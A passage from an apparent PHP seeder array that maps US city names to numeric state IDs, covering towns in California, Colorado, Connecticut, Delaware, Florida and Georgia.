'woodland'],\n ['state_id' => '3924', 'name' => 'woodland hills'],\n ['state_id' => '3924', 'name' => 'yorba linda'],\n ['state_id' => '3924', 'name' => 'yreka'],\n ['state_id' => '3924', 'name' => 'yuba city'],\n ['state_id' => '3924', 'name' => 'yucaipa'],\n ['state_id' => '3924', 'name' => 'yucca valley'],\n ['state_id' => '3926', 'name' => 'air force academy'],\n ['state_id' => '3926', 'name' => 'alamosa'],\n ['state_id' => '3926', 'name' => 'applewood'],\n ['state_id' => '3926', 'name' => 'arvada'],\n ['state_id' => '3926', 'name' => 'aspen'],\n ['state_id' => '3926', 'name' => 'aurora'],\n ['state_id' => '3926', 'name' => 'avon'],\n ['state_id' => '3926', 'name' => 'basalt'],\n ['state_id' => '3926', 'name' => 'bellvue'],\n ['state_id' => '3926', 'name' => 'black forest'],\n ['state_id' => '3926', 'name' => 'boulder'],\n ['state_id' => '3926', 'name' => 'brighton'],\n ['state_id' => '3926', 'name' => 'broomfield'],\n ['state_id' => '3926', 'name' => 'canon city'],\n ['state_id' => '3926', 'name' => 'carbondale'],\n ['state_id' => '3926', 'name' => 'castle rock'],\n ['state_id' => '3926', 'name' => 'castlewood'],\n ['state_id' => '3926', 'name' => 'centennial'],\n ['state_id' => '3926', 'name' => 'cimarron hills'],\n ['state_id' => '3926', 'name' => 'clifton'],\n ['state_id' => '3926', 'name' => 'colorado springs'],\n ['state_id' => '3926', 'name' => 'columbine'],\n ['state_id' => '3926', 'name' => 'commerce city'],\n ['state_id' => '3926', 'name' => 'cortez'],\n ['state_id' => '3926', 'name' => 'crawford'],\n ['state_id' => '3926', 'name' => 'denver'],\n ['state_id' => '3926', 'name' => 'durango'],\n ['state_id' => '3926', 'name' => 'edwards'],\n ['state_id' => '3926', 'name' => 'elizabeth'],\n ['state_id' => '3926', 'name' => 'englewood'],\n ['state_id' => '3926', 'name' => 'estes park'],\n ['state_id' => '3926', 'name' => 'evergreen'],\n ['state_id' => '3926', 'name' => 'federal heights'],\n ['state_id' => '3926', 'name' => 'fort carson'],\n ['state_id' => '3926', 'name' => 'fort collins'],\n ['state_id' => '3926', 'name' => 'fort morgan'],\n ['state_id' => '3926', 'name' => 'fountain'],\n ['state_id' => '3926', 'name' => 'golden'],\n ['state_id' => '3926', 'name' => 'grand junction'],\n ['state_id' => '3926', 'name' => 'greeley'],\n ['state_id' => '3926', 'name' => 'greenwood village'],\n ['state_id' => '3926', 'name' => 'gunbarrel'],\n ['state_id' => '3926', 'name' => 'highlands ranch'],\n ['state_id' => '3926', 'name' => 'holly'],\n ['state_id' => '3926', 'name' => 'ken caryl'],\n ['state_id' => '3926', 'name' => 'lafayette'],\n ['state_id' => '3926', 'name' => 'lakewood'],\n ['state_id' => '3926', 'name' => 'littleton'],\n ['state_id' => '3926', 'name' => 'longmont'],\n ['state_id' => '3926', 'name' => 'louisville'],\n ['state_id' => '3926', 'name' => 'loveland'],\n ['state_id' => '3926', 'name' => 'lyons'],\n ['state_id' => '3926', 'name' => 'montrose'],\n ['state_id' => '3926', 'name' => 'monument'],\n ['state_id' => '3926', 'name' => 'nederland'],\n ['state_id' => '3926', 'name' => 'niwot'],\n ['state_id' => '3926', 'name' => 'northglenn'],\n ['state_id' => '3926', 'name' => 'pagosa springs'],\n ['state_id' => '3926', 'name' => 'parker'],\n ['state_id' => '3926', 'name' => 'penrose'],\n ['state_id' => '3926', 'name' => 'peyton'],\n ['state_id' => '3926', 'name' => 'pueblo'],\n ['state_id' => '3926', 'name' => 'redlands'],\n ['state_id' => '3926', 'name' => 'ridgway'],\n ['state_id' => '3926', 'name' => 'rifle'],\n ['state_id' => '3926', 'name' => 'rocky ford'],\n ['state_id' => '3926', 'name' => 'sanford'],\n ['state_id' => '3926', 'name' => 'security-widefield'],\n ['state_id' => '3926', 'name' => 'sherrelwood'],\n ['state_id' => '3926', 'name' => 'silver cliff'],\n ['state_id' => '3926', 'name' => 'snowmass village'],\n ['state_id' => '3926', 'name' => 'southglenn'],\n ['state_id' => '3926', 'name' => 'steamboat springs'],\n ['state_id' => '3926', 'name' => 'sterling'],\n ['state_id' => '3926', 'name' => 'superior'],\n ['state_id' => '3926', 'name' => 'telluride'],\n ['state_id' => '3926', 'name' => 'thornton'],\n ['state_id' => '3926', 'name' => 'vail'],\n ['state_id' => '3926', 'name' => 'welby'],\n ['state_id' => '3926', 'name' => 'westcliffe'],\n ['state_id' => '3926', 'name' => 'westminster'],\n ['state_id' => '3926', 'name' => 'wheat ridge'],\n ['state_id' => '3926', 'name' => 'woodland park'],\n ['state_id' => '3927', 'name' => 'ansonia'],\n ['state_id' => '3927', 'name' => 'avon'],\n ['state_id' => '3927', 'name' => 'bethel'],\n ['state_id' => '3927', 'name' => 'bethlehem'],\n ['state_id' => '3927', 'name' => 'bloomfield'],\n ['state_id' => '3927', 'name' => 'branford'],\n ['state_id' => '3927', 'name' => 'bridgeport'],\n ['state_id' => '3927', 'name' => 'bristol'],\n ['state_id' => '3927', 'name' => 'canaan'],\n ['state_id' => '3927', 'name' => 'canton'],\n ['state_id' => '3927', 'name' => 'central manchester'],\n ['state_id' => '3927', 'name' => 'cheshire'],\n ['state_id' => '3927', 'name' => 'colchester'],\n ['state_id' => '3927', 'name' => 'conning towers-nautilus park'],\n ['state_id' => '3927', 'name' => 'coscob'],\n ['state_id' => '3927', 'name' => 'cranbury'],\n ['state_id' => '3927', 'name' => 'cromwell'],\n ['state_id' => '3927', 'name' => 'danbury'],\n ['state_id' => '3927', 'name' => 'darien'],\n ['state_id' => '3927', 'name' => 'dayville'],\n ['state_id' => '3927', 'name' => 'derby'],\n ['state_id' => '3927', 'name' => 'east hartford'],\n ['state_id' => '3927', 'name' => 'east haven'],\n ['state_id' => '3927', 'name' => 'ellington'],\n ['state_id' => '3927', 'name' => 'enfield'],\n ['state_id' => '3927', 'name' => 'fairfield'],\n ['state_id' => '3927', 'name' => 'farmington'],\n ['state_id' => '3927', 'name' => 'glastonbury'],\n ['state_id' => '3927', 'name' => 'greens farms'],\n ['state_id' => '3927', 'name' => 'greenwich'],\n ['state_id' => '3927', 'name' => 'groton'],\n ['state_id' => '3927', 'name' => 'guilford'],\n ['state_id' => '3927', 'name' => 'haddam'],\n ['state_id' => '3927', 'name' => 'hamden'],\n ['state_id' => '3927', 'name' => 'hartford'],\n ['state_id' => '3927', 'name' => 'harwinton'],\n ['state_id' => '3927', 'name' => 'lakeville'],\n ['state_id' => '3927', 'name' => 'lyme'],\n ['state_id' => '3927', 'name' => 'madison'],\n ['state_id' => '3927', 'name' => 'manchester'],\n ['state_id' => '3927', 'name' => 'meriden'],\n ['state_id' => '3927', 'name' => 'middletown'],\n ['state_id' => '3927', 'name' => 'milford'],\n ['state_id' => '3927', 'name' => 'monroe'],\n ['state_id' => '3927', 'name' => 'mystic'],\n ['state_id' => '3927', 'name' => 'naugatuck'],\n ['state_id' => '3927', 'name' => 'new britain'],\n ['state_id' => '3927', 'name' => 'new canaan'],\n ['state_id' => '3927', 'name' => 'new hartford'],\n ['state_id' => '3927', 'name' => 'new haven'],\n ['state_id' => '3927', 'name' => 'new london'],\n ['state_id' => '3927', 'name' => 'new milford'],\n ['state_id' => '3927', 'name' => 'new town'],\n ['state_id' => '3927', 'name' => 'newington'],\n ['state_id' => '3927', 'name' => 'north haven'],\n ['state_id' => '3927', 'name' => 'north stonington'],\n ['state_id' => '3927', 'name' => 'norwalk'],\n ['state_id' => '3927', 'name' => 'norwich'],\n ['state_id' => '3927', 'name' => 'old saybrook'],\n ['state_id' => '3927', 'name' => 'oneco'],\n ['state_id' => '3927', 'name' => 'orange'],\n ['state_id' => '3927', 'name' => 'pawcatuck'],\n ['state_id' => '3927', 'name' => 'plainville'],\n ['state_id' => '3927', 'name' => 'portland'],\n ['state_id' => '3927', 'name' => 'putnam'],\n ['state_id' => '3927', 'name' => 'riverside'],\n ['state_id' => '3927', 'name' => 'rocky hill'],\n ['state_id' => '3927', 'name' => 'rowayton'],\n ['state_id' => '3927', 'name' => 'sandy hook'],\n ['state_id' => '3927', 'name' => 'seymour'],\n ['state_id' => '3927', 'name' => 'sharon'],\n ['state_id' => '3927', 'name' => 'shelton'],\n ['state_id' => '3927', 'name' => 'south windsor'],\n ['state_id' => '3927', 'name' => 'southington'],\n ['state_id' => '3927', 'name' => 'southport'],\n ['state_id' => '3927', 'name' => 'stamford'],\n ['state_id' => '3927', 'name' => 'sterling'],\n ['state_id' => '3927', 'name' => 'storrs'],\n ['state_id' => '3927', 'name' => 'stratford'],\n ['state_id' => '3927', 'name' => 'suffield'],\n ['state_id' => '3927', 'name' => 'taftville'],\n ['state_id' => '3927', 'name' => 'terryville'],\n ['state_id' => '3927', 'name' => 'tolland'],\n ['state_id' => '3927', 'name' => 'torrington'],\n ['state_id' => '3927', 'name' => 'trumbull'],\n ['state_id' => '3927', 'name' => 'vernon'],\n ['state_id' => '3927', 'name' => 'wallingford center'],\n ['state_id' => '3927', 'name' => 'waterbury'],\n ['state_id' => '3927', 'name' => 'watertown'],\n ['state_id' => '3927', 'name' => 'west hartford'],\n ['state_id' => '3927', 'name' => 'west haven'],\n ['state_id' => '3927', 'name' => 'weston'],\n ['state_id' => '3927', 'name' => 'westport'],\n ['state_id' => '3927', 'name' => 'wethersfield'],\n ['state_id' => '3927', 'name' => 'willimantic'],\n ['state_id' => '3927', 'name' => 'wilton'],\n ['state_id' => '3927', 'name' => 'windsor'],\n ['state_id' => '3927', 'name' => 'windsor locks'],\n ['state_id' => '3927', 'name' => 'winsted'],\n ['state_id' => '3927', 'name' => 'woodbury'],\n ['state_id' => '3927', 'name' => 'woodstock'],\n ['state_id' => '3927', 'name' => 'pomfret'],\n ['state_id' => '3928', 'name' => 'bear'],\n ['state_id' => '3928', 'name' => 'brookside'],\n ['state_id' => '3928', 'name' => 'claymont'],\n ['state_id' => '3928', 'name' => 'dover'],\n ['state_id' => '3928', 'name' => 'dover base housing'],\n ['state_id' => '3928', 'name' => 'edgemoor'],\n ['state_id' => '3928', 'name' => 'elsmere'],\n ['state_id' => '3928', 'name' => 'georgetown'],\n ['state_id' => '3928', 'name' => 'greenville'],\n ['state_id' => '3928', 'name' => 'middletown'],\n ['state_id' => '3928', 'name' => 'milford'],\n ['state_id' => '3928', 'name' => 'milton'],\n ['state_id' => '3928', 'name' => 'newark'],\n ['state_id' => '3928', 'name' => 'pike creek'],\n ['state_id' => '3928', 'name' => 'seaford'],\n ['state_id' => '3928', 'name' => 'smyrna'],\n ['state_id' => '3928', 'name' => 'stanton'],\n ['state_id' => '3928', 'name' => 'talleyville'],\n ['state_id' => '3928', 'name' => 'wilmington'],\n ['state_id' => '3928', 'name' => 'wilmington manor'],\n ['state_id' => '3930', 'name' => 'alachua'],\n ['state_id' => '3930', 'name' => 'altamonte springs'],\n ['state_id' => '3930', 'name' => 'apopka'],\n ['state_id' => '3930', 'name' => 'atlantic beach'],\n ['state_id' => '3930', 'name' => 'auburndale'],\n ['state_id' => '3930', 'name' => 'aventura'],\n ['state_id' => '3930', 'name' => 'avon park'],\n ['state_id' => '3930', 'name' => 'azalea park'],\n ['state_id' => '3930', 'name' => 'bal harbour'],\n ['state_id' => '3930', 'name' => 'bartow'],\n ['state_id' => '3930', 'name' => 'bayonet point'],\n ['state_id' => '3930', 'name' => 'bayshore gardens'],\n ['state_id' => '3930', 'name' => 'beach'],\n ['state_id' => '3930', 'name' => 'bellair-meadowbrook terrace'],\n ['state_id' => '3930', 'name' => 'belle glade'],\n ['state_id' => '3930', 'name' => 'bellview'],\n ['state_id' => '3930', 'name' => 'beverly hills'],\n ['state_id' => '3930', 'name' => 'bloomingdale'],\n ['state_id' => '3930', 'name' => 'boca raton'],\n ['state_id' => '3930', 'name' => 'boca del mar'],\n ['state_id' => '3930', 'name' => 'bonita springs'],\n ['state_id' => '3930', 'name' => 'boynton beach'],\n ['state_id' => '3930', 'name' => 'bradenton'],\n ['state_id' => '3930', 'name' => 'brandon'],\n ['state_id' => '3930', 'name' => 'brent'],\n ['state_id' => '3930', 'name' => 'brooksville'],\n ['state_id' => '3930', 'name' => 'brownsville'],\n ['state_id' => '3930', 'name' => 'buena ventura lakes'],\n ['state_id' => '3930', 'name' => 'bunnell'],\n ['state_id' => '3930', 'name' => 'callaway'],\n ['state_id' => '3930', 'name' => 'cape coral'],\n ['state_id' => '3930', 'name' => 'carol city'],\n ['state_id' => '3930', 'name' => 'casselberry'],\n ['state_id' => '3930', 'name' => 'catalina foothills'],\n ['state_id' => '3930', 'name' => 'celebration'],\n ['state_id' => '3930', 'name' => 'century village'],\n ['state_id' => '3930', 'name' => 'citrus park'],\n ['state_id' => '3930', 'name' => 'clearwater'],\n ['state_id' => '3930', 'name' => 'clermont'],\n ['state_id' => '3930', 'name' => 'cocoa'],\n ['state_id' => '3930', 'name' => 'cocoa beach'],\n ['state_id' => '3930', 'name' => 'coconut creek'],\n ['state_id' => '3930', 'name' => 'coconut grove'],\n ['state_id' => '3930', 'name' => 'conway'],\n ['state_id' => '3930', 'name' => 'cooper city'],\n ['state_id' => '3930', 'name' => 'coral gables'],\n ['state_id' => '3930', 'name' => 'coral springs'],\n ['state_id' => '3930', 'name' => 'coral terrace'],\n ['state_id' => '3930', 'name' => 'cortlandt manor'],\n ['state_id' => '3930', 'name' => 'country club'],\n ['state_id' => '3930', 'name' => 'crestview'],\n ['state_id' => '3930', 'name' => 'crystal river'],\n ['state_id' => '3930', 'name' => 'cutler'],\n ['state_id' => '3930', 'name' => 'cutler ridge'],\n ['state_id' => '3930', 'name' => 'cypress gardens'],\n ['state_id' => '3930', 'name' => 'cypress lake'],\n ['state_id' => '3930', 'name' => 'dania'],\n ['state_id' => '3930', 'name' => 'dania beach'],\n ['state_id' => '3930', 'name' => 'davie'],\n ['state_id' => '3930', 'name' => 'daytona beach'],\n ['state_id' => '3930', 'name' => 'de bary'],\n ['state_id' => '3930', 'name' => 'de funiak springs'],\n ['state_id' => '3930', 'name' => 'de land'],\n ['state_id' => '3930', 'name' => 'debary'],\n ['state_id' => '3930', 'name' => 'deer park'],\n ['state_id' => '3930', 'name' => 'deerfield beach'],\n ['state_id' => '3930', 'name' => 'del rio'],\n ['state_id' => '3930', 'name' => 'delray beach'],\n ['state_id' => '3930', 'name' => 'deltona'],\n ['state_id' => '3930', 'name' => 'destin'],\n ['state_id' => '3930', 'name' => 'doctor phillips'],\n ['state_id' => '3930', 'name' => 'dora'],\n ['state_id' => '3930', 'name' => 'doral'],\n ['state_id' => '3930', 'name' => 'dundee'],\n ['state_id' => '3930', 'name' => 'dunedin'],\n ['state_id' => '3930', 'name' => 'east lake'],\n ['state_id' => '3930', 'name' => 'edgewater'],\n ['state_id' => '3930', 'name' => 'eglin air force base'],\n ['state_id' => '3930', 'name' => 'egypt lake-leto'],\n ['state_id' => '3930', 'name' => 'elfers'],\n ['state_id' => '3930', 'name' => 'englewood'],\n ['state_id' => '3930', 'name' => 'ensley'],\n ['state_id' => '3930', 'name' => 'eustis'],\n ['state_id' => '3930', 'name' => 'fairview shores'],\n ['state_id' => '3930', 'name' => 'fern park'],\n ['state_id' => '3930', 'name' => 'fernandina beach'],\n ['state_id' => '3930', 'name' => 'ferry pass'],\n ['state_id' => '3930', 'name' => 'flagler beach'],\n ['state_id' => '3930', 'name' => 'floral city'],\n ['state_id' => '3930', 'name' => 'florida city'],\n ['state_id' => '3930', 'name' => 'florida ridge'],\n ['state_id' => '3930', 'name' => 'forest city'],\n ['state_id' => '3930', 'name' => 'fort lauderdale'],\n ['state_id' => '3930', 'name' => 'fort myers'],\n ['state_id' => '3930', 'name' => 'fort myers beach'],\n ['state_id' => '3930', 'name' => 'fort pierce'],\n ['state_id' => '3930', 'name' => 'fort walton beach'],\n ['state_id' => '3930', 'name' => 'freeport'],\n ['state_id' => '3930', 'name' => 'fruitville'],\n ['state_id' => '3930', 'name' => 'ft. lauderdale'],\n ['state_id' => '3930', 'name' => 'gainesville'],\n ['state_id' => '3930', 'name' => 'gladeview'],\n ['state_id' => '3930', 'name' => 'glenvar heights'],\n ['state_id' => '3930', 'name' => 'golden gate'],\n ['state_id' => '3930', 'name' => 'golden glades'],\n ['state_id' => '3930', 'name' => 'goldenrod'],\n ['state_id' => '3930', 'name' => 'greater carrollwood'],\n ['state_id' => '3930', 'name' => 'greater northdale'],\n ['state_id' => '3930', 'name' => 'green cove springs'],\n ['state_id' => '3930', 'name' => 'greenacres'],\n ['state_id' => '3930', 'name' => 'gulf gate estates'],\n ['state_id' => '3930', 'name' => 'gulfport'],\n ['state_id' => '3930', 'name' => 'haines city'],\n ['state_id' => '3930', 'name' => 'hallandale'],\n ['state_id' => '3930', 'name' => 'hallandale beach'],\n ['state_id' => '3930', 'name' => 'hammocks'],\n ['state_id' => '3930', 'name' => 'hamptons at boca raton'],\n ['state_id' => '3930', 'name' => 'havana'],\n ['state_id' => '3930', 'name' => 'hialeah'],\n ['state_id' => '3930', 'name' => 'hialeah gardens'],\n ['state_id' => '3930', 'name' => 'highpoint'],\n ['state_id' => '3930', 'name' => 'hobe sound'],\n ['state_id' => '3930', 'name' => 'holiday'],\n ['state_id' => '3930', 'name' => 'holly hill'],\n ['state_id' => '3930', 'name' => 'hollywood'],\n ['state_id' => '3930', 'name' => 'homestead'],\n ['state_id' => '3930', 'name' => 'homosassa'],\n ['state_id' => '3930', 'name' => 'hudson'],\n ['state_id' => '3930', 'name' => 'immokalee'],\n ['state_id' => '3930', 'name' => 'inverness'],\n ['state_id' => '3930', 'name' => 'iona'],\n ['state_id' => '3930', 'name' => 'ives estates'],\n ['state_id' => '3930', 'name' => 'jacksonville'],\n ['state_id' => '3930', 'name' => 'jacksonville beach'],\n ['state_id' => '3930', 'name' => 'jasmine estates'],\n ['state_id' => '3930', 'name' => 'jensen beach'],\n ['state_id' => '3930', 'name' => 'jupiter'],\n ['state_id' => '3930', 'name' => 'kendale lakes'],\n ['state_id' => '3930', 'name' => 'kendall'],\n ['state_id' => '3930', 'name' => 'kendall west'],\n ['state_id' => '3930', 'name' => 'key biscayne'],\n ['state_id' => '3930', 'name' => 'key largo'],\n ['state_id' => '3930', 'name' => 'key west'],\n ['state_id' => '3930', 'name' => 'kings point'],\n ['state_id' => '3930', 'name' => 'kissimmee'],\n ['state_id' => '3930', 'name' => 'lady lake'],\n ['state_id' => '3930', 'name' => 'lake alfred'],\n ['state_id' => '3930', 'name' => 'lake city'],\n ['state_id' => '3930', 'name' => 'lake lucerne'],\n ['state_id' => '3930', 'name' => 'lake magdalene'],\n ['state_id' => '3930', 'name' => 'lake mary'],\n ['state_id' => '3930', 'name' => 'lake placid'],\n ['state_id' => '3930', 'name' => 'lake wales'],\n ['state_id' => '3930', 'name' => 'lake worth'],\n ['state_id' => '3930', 'name' => 'lakeland'],\n ['state_id' => '3930', 'name' => 'lakeland highlands'],\n ['state_id' => '3930', 'name' => 'lakeside'],\n ['state_id' => '3930', 'name' => 'land o\\'lakes'],\n ['state_id' => '3930', 'name' => 'largo'],\n ['state_id' => '3930', 'name' => 'lauderdale lakes'],\n ['state_id' => '3930', 'name' => 'lauderhill'],\n ['state_id' => '3930', 'name' => 'laurel'],\n ['state_id' => '3930', 'name' => 'lecanto'],\n ['state_id' => '3930', 'name' => 'leesburg'],\n ['state_id' => '3930', 'name' => 'lehigh acres'],\n ['state_id' => '3930', 'name' => 'leisure city'],\n ['state_id' => '3930', 'name' => 'lighthouse point'],\n ['state_id' => '3930', 'name' => 'lockhart'],\n ['state_id' => '3930', 'name' => 'longwood'],\n ['state_id' => '3930', 'name' => 'loxahatchee'],\n ['state_id' => '3930', 'name' => 'lutz'],\n ['state_id' => '3930', 'name' => 'lynn haven'],\n ['state_id' => '3930', 'name' => 'madison'],\n ['state_id' => '3930', 'name' => 'maitland'],\n ['state_id' => '3930', 'name' => 'mango'],\n ['state_id' => '3930', 'name' => 'marathon'],\n ['state_id' => '3930', 'name' => 'marco'],\n ['state_id' => '3930', 'name' => 'margate'],\n ['state_id' => '3930', 'name' => 'medley'],\n ['state_id' => '3930', 'name' => 'melbourne'],\n ['state_id' => '3930', 'name' => 'merritt island'],\n ['state_id' => '3930', 'name' => 'miami'],\n ['state_id' => '3930', 'name' => 'miami beach'],\n ['state_id' => '3930', 'name' => 'miami gardens'],\n ['state_id' => '3930', 'name' => 'miami lakes'],\n ['state_id' => '3930', 'name' => 'miami shores'],\n ['state_id' => '3930', 'name' => 'miami springs'],\n ['state_id' => '3930', 'name' => 'micco'],\n ['state_id' => '3930', 'name' => 'milton'],\n ['state_id' => '3930', 'name' => 'mims'],\n ['state_id' => '3930', 'name' => 'miramar'],\n ['state_id' => '3930', 'name' => 'mulberry'],\n ['state_id' => '3930', 'name' => 'myrtle grove'],\n ['state_id' => '3930', 'name' => 'naples'],\n ['state_id' => '3930', 'name' => 'naples park'],\n ['state_id' => '3930', 'name' => 'naranja'],\n ['state_id' => '3930', 'name' => 'new port richey'],\n ['state_id' => '3930', 'name' => 'new port richey east'],\n ['state_id' => '3930', 'name' => 'new smyrna beach'],\n ['state_id' => '3930', 'name' => 'niceville'],\n ['state_id' => '3930', 'name' => 'nokomis'],\n ['state_id' => '3930', 'name' => 'norland'],\n ['state_id' => '3930', 'name' => 'north andrews gardens'],\n ['state_id' => '3930', 'name' => 'north fort myers'],\n ['state_id' => '3930', 'name' => 'north lauderdale'],\n ['state_id' => '3930', 'name' => 'north miami'],\n ['state_id' => '3930', 'name' => 'north miami beach'],\n ['state_id' => '3930', 'name' => 'north naples'],\n ['state_id' => '3930', 'name' => 'north palm beach'],\n ['state_id' => '3930', 'name' => 'north port'],\n ['state_id' => '3930', 'name' => 'oak ridge'],\n ['state_id' => '3930', 'name' => 'oakland park'],\n ['state_id' => '3930', 'name' => 'ocala'],\n ['state_id' => '3930', 'name' => 'ocoee'],\n ['state_id' => '3930', 'name' => 'ojus'],\n ['state_id' => '3930', 'name' => 'okeechobee'],\n ['state_id' => '3930', 'name' => 'oldsmar'],\n ['state_id' => '3930', 'name' => 'olympia heights'],\n ['state_id' => '3930', 'name' => 'opa-locka'],\n ['state_id' => '3930', 'name' => 'orange city'],\n ['state_id' => '3930', 'name' => 'orange park'],\n ['state_id' => '3930', 'name' => 'orlando'],\n ['state_id' => '3930', 'name' => 'ormond beach'],\n ['state_id' => '3930', 'name' => 'ormond-by-the-sea'],\n ['state_id' => '3930', 'name' => 'osprey'],\n ['state_id' => '3930', 'name' => 'oviedo'],\n ['state_id' => '3930', 'name' => 'palatka'],\n ['state_id' => '3930', 'name' => 'palm bay'],\n ['state_id' => '3930', 'name' => 'palm beach'],\n ['state_id' => '3930', 'name' => 'palm beach gardens'],\n ['state_id' => '3930', 'name' => 'palm city'],\n ['state_id' => '3930', 'name' => 'palm coast'],\n ['state_id' => '3930', 'name' => 'palm harbor'],\n ['state_id' => '3930', 'name' => 'palm river-clair mel'],\n ['state_id' => '3930', 'name' => 'palm valley'],\n ['state_id' => '3930', 'name' => 'palmetto'],\n ['state_id' => '3930', 'name' => 'palmetto estates'],\n ['state_id' => '3930', 'name' => 'panama city'],\n ['state_id' => '3930', 'name' => 'parkland'],\n ['state_id' => '3930', 'name' => 'pembroke park'],\n ['state_id' => '3930', 'name' => 'pembroke pines'],\n ['state_id' => '3930', 'name' => 'pensacola'],\n ['state_id' => '3930', 'name' => 'perrine'],\n ['state_id' => '3930', 'name' => 'pine castle'],\n ['state_id' => '3930', 'name' => 'pine hills'],\n ['state_id' => '3930', 'name' => 'pinellas park'],\n ['state_id' => '3930', 'name' => 'pinewood'],\n ['state_id' => '3930', 'name' => 'plant city'],\n ['state_id' => '3930', 'name' => 'plantation'],\n ['state_id' => '3930', 'name' => 'pompano beach'],\n ['state_id' => '3930', 'name' => 'pompano beach highlands'],\n ['state_id' => '3930', 'name' => 'ponte vedra'],\n ['state_id' => '3930', 'name' => 'port charlotte'],\n ['state_id' => '3930', 'name' => 'port orange'],\n ['state_id' => '3930', 'name' => 'port saint john'],\n ['state_id' => '3930', 'name' => 'port saint lucie'],\n ['state_id' => '3930', 'name' => 'punta gorda'],\n ['state_id' => '3930', 'name' => 'quincy'],\n ['state_id' => '3930', 'name' => 'redington shores'],\n ['state_id' => '3930', 'name' => 'richmond heights'],\n ['state_id' => '3930', 'name' => 'richmond west'],\n ['state_id' => '3930', 'name' => 'riverview'],\n ['state_id' => '3930', 'name' => 'riviera beach'],\n ['state_id' => '3930', 'name' => 'rockledge'],\n ['state_id' => '3930', 'name' => 'royal palm beach'],\n ['state_id' => '3930', 'name' => 'safety harbor'],\n ['state_id' => '3930', 'name' => 'saint augustine'],\n ['state_id' => '3930', 'name' => 'saint cloud'],\n ['state_id' => '3930', 'name' => 'saint petersburg'],\n ['state_id' => '3930', 'name' => 'saint petersburg beach'],\n ['state_id' => '3930', 'name' => 'san carlos park'],\n ['state_id' => '3930', 'name' => 'sandalfoot cove'],\n ['state_id' => '3930', 'name' => 'sanford'],\n ['state_id' => '3930', 'name' => 'sanibel'],\n ['state_id' => '3930', 'name' => 'sarasota'],\n ['state_id' => '3930', 'name' => 'sarasota springs'],\n ['state_id' => '3930', 'name' => 'satellite beach'],\n ['state_id' => '3930', 'name' => 'scott lake'],\n ['state_id' => '3930', 'name' => 'sebastian'],\n ['state_id' => '3930', 'name' => 'seminole'],\n ['state_id' => '3930', 'name' => 'shalimar'],\n ['state_id' => '3930', 'name' => 'south bradenton'],\n ['state_id' => '3930', 'name' => 'south daytona'],\n ['state_id' => '3930', 'name' => 'south miami'],\n ['state_id' => '3930', 'name' => 'south miami heights'],\n ['state_id' => '3930', 'name' => 'south patrick shores'],\n ['state_id' => '3930', 'name' => 'south venice'],\n ['state_id' => '3930', 'name' => 'spring hill'],\n ['state_id' => '3930', 'name' => 'stuart'],\n ['state_id' => '3930', 'name' => 'sun city center'],\n ['state_id' => '3930', 'name' => 'sunny isles'],\n ['state_id' => '3930', 'name' => 'sunrise'],\n ['state_id' => '3930', 'name' => 'sunset'],\n ['state_id' => '3930', 'name' => 'sweetwater'],\n ['state_id' => '3930', 'name' => 'tallahassee'],\n ['state_id' => '3930', 'name' => 'tamarac'],\n ['state_id' => '3930', 'name' => 'tamiami'],\n ['state_id' => '3930', 'name' => 'tampa'],\n ['state_id' => '3930', 'name' => 'tarpon springs'],\n ['state_id' => '3930', 'name' => 'temple terrace'],\n ['state_id' => '3930', 'name' => 'the crossings'],\n ['state_id' => '3930', 'name' => 'the hammocks'],\n ['state_id' => '3930', 'name' => 'titusville'],\n ['state_id' => '3930', 'name' => 'town\\'n\\'country'],\n ['state_id' => '3930', 'name' => 'university'],\n ['state_id' => '3930', 'name' => 'university park'],\n ['state_id' => '3930', 'name' => 'valrico'],\n ['state_id' => '3930', 'name' => 'venice'],\n ['state_id' => '3930', 'name' => 'vero beach'],\n ['state_id' => '3930', 'name' => 'vero beach south'],\n ['state_id' => '3930', 'name' => 'villas'],\n ['state_id' => '3930', 'name' => 'warrington'],\n ['state_id' => '3930', 'name' => 'wekiva springs'],\n ['state_id' => '3930', 'name' => 'wellington'],\n ['state_id' => '3930', 'name' => 'wesley chapel'],\n ['state_id' => '3930', 'name' => 'west little river'],\n ['state_id' => '3930', 'name' => 'west palm beach'],\n ['state_id' => '3930', 'name' => 'west park'],\n ['state_id' => '3930', 'name' => 'west pensacola'],\n ['state_id' => '3930', 'name' => 'west and east lealman'],\n ['state_id' => '3930', 'name' => 'westchester'],\n ['state_id' => '3930', 'name' => 'weston'],\n ['state_id' => '3930', 'name' => 'westview'],\n ['state_id' => '3930', 'name' => 'westwood lakes'],\n ['state_id' => '3930', 'name' => 'wilton manors'],\n ['state_id' => '3930', 'name' => 'windermere'],\n ['state_id' => '3930', 'name' => 'winston'],\n ['state_id' => '3930', 'name' => 'winter garden'],\n ['state_id' => '3930', 'name' => 'winter haven'],\n ['state_id' => '3930', 'name' => 'winter park'],\n ['state_id' => '3930', 'name' => 'winter springs'],\n ['state_id' => '3930', 'name' => 'wright'],\n ['state_id' => '3930', 'name' => 'yeehaw junction'],\n ['state_id' => '3931', 'name' => 'acworth'],\n ['state_id' => '3931', 'name' => 'adel'],\n ['state_id' => '3931', 'name' => 'albany'],\n ['state_id' => '3931', 'name' => 'alma'],\n ['state_id' => '3931', 'name' => 'alpharetta'],\n ['state_id' => '3931', 'name' => 'americus'],\n ['state_id' => '3931', 'name' => 'athens'],\n ['state_id' => '3931', 'name' => 'athens-clarke'],\n ['state_id' => '3931', 'name' => 'atlanta'],\n ['state_id' => '3931', 'name' => 'auburn'],\n ['state_id' => '3931', 'name' => 'augusta-richmond'],\n ['state_id' => '3931', 'name' => 'austell'],\n ['state_id' => '3931', 'name' => 'bainbridge'],\n ['state_id' => '3931', 'name' => 'barnesville'],\n ['state_id' => '3931', 'name' => 'belvedere park'],\n ['state_id' => '3931', 'name' => 'bogart'],\n ['state_id' => '3931', 'name' => 'bowdon'],\n ['state_id' => '3931', 'name' => 'braselton'],\n ['state_id' => '3931', 'name' => 'brunswick'],\n ['state_id' => '3931', 'name' => 'buford'],\n ['state_id' => '3931', 'name' => 'byron'],\n ['state_id' => '3931', 'name' => 'cairo'],\n ['state_id' => '3931', 'name' => 'calhoun'],\n ['state_id' => '3931', 'name' => 'candler-macafee'],\n ['state_id' => '3931', 'name' => 'canton'],\n ['state_id' => '3931', 'name' => 'carrollton'],\n ['state_id' => '3931', 'name' => 'cartersville'],\n ['state_id' => '3931', 'name' => 'chamblee'],\n ['state_id' => '3931', 'name' => 'clarkston'],\n ['state_id' => '3931', 'name' => 'cochran'],\n ['state_id' => '3931', 'name' => 'college park'],\n ['state_id' => '3931', 'name' => 'columbus'],\n ['state_id' => '3931', 'name' => 'comer'],\n ['state_id' => '3931', 'name' => 'conley'],\n ['state_id' 